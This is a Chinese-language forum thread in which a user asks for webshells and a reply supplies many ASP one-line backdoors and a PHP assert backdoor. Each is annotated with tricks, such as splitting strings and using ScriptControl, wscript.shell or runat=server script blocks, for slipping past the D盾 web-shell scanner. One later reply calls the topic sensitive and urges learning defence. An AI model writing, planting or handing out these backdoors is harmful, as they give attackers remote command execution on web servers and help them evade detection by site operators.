跪求各种马 （一句话，大小马，php，asp。。。）

空莫

过D盾WEB查杀：
<%
ExecuteGlobal(Request("test"))
%>


ExecuteGlobal D盾无提示
不提示一句话，只提示Execute：
<%Execute(Request.Form("test"))%>

<%
Dim o
o=Request("test")
Execute o
%>

无耻的办法之一（利用了ExecuteGlobal。当然，用Execute也不会提示一句话）：
<%
ExecuteGlobal "E"&"X"&"E"&"C"&"U"&"T"&"E"&" "&"Request(""test"")"
%>

无耻的办法之二（同上）：
<%
Dim o
Set o=Request
ExecuteGlobal(o("test"))
%>

无耻的办法之三：
<%
Dim o
o=Request("test")
Dim Script
Set Script=CreateObject("ScriptControl")
Script.language = "VBScript"
Script.AddCode o
Script.Run
%>

虽然玩不了ASP对象 不过那些FSO ADO啥还是能执行的
最无耻的办法之四（调用一个已经存在的exe）：
Dim s
Set s=CreateObject("wscript.shell")
s.Exec Request("test")

最无耻的办法之五（动态调用一个asp文件）
<%
Server.Execute Request("test")
%>

接着<script runat="server">直接无视掉
<script language="javascript" runat="server">
//runat直接过查杀,这里写成vbscript也能过
eval(Request("test").Item);
</script>




       
<?php
$a[]="assert";
$a[$_GET['a']]($_POST['c']);
?>

akxiaohao

哈哈 我有

热心网友6

楼主的“马”是指webshell吧？技术交流里讨论这个有点敏感，建议还是把精力放在学习安全防护或者合法开发上，这样对技术提升更有帮助。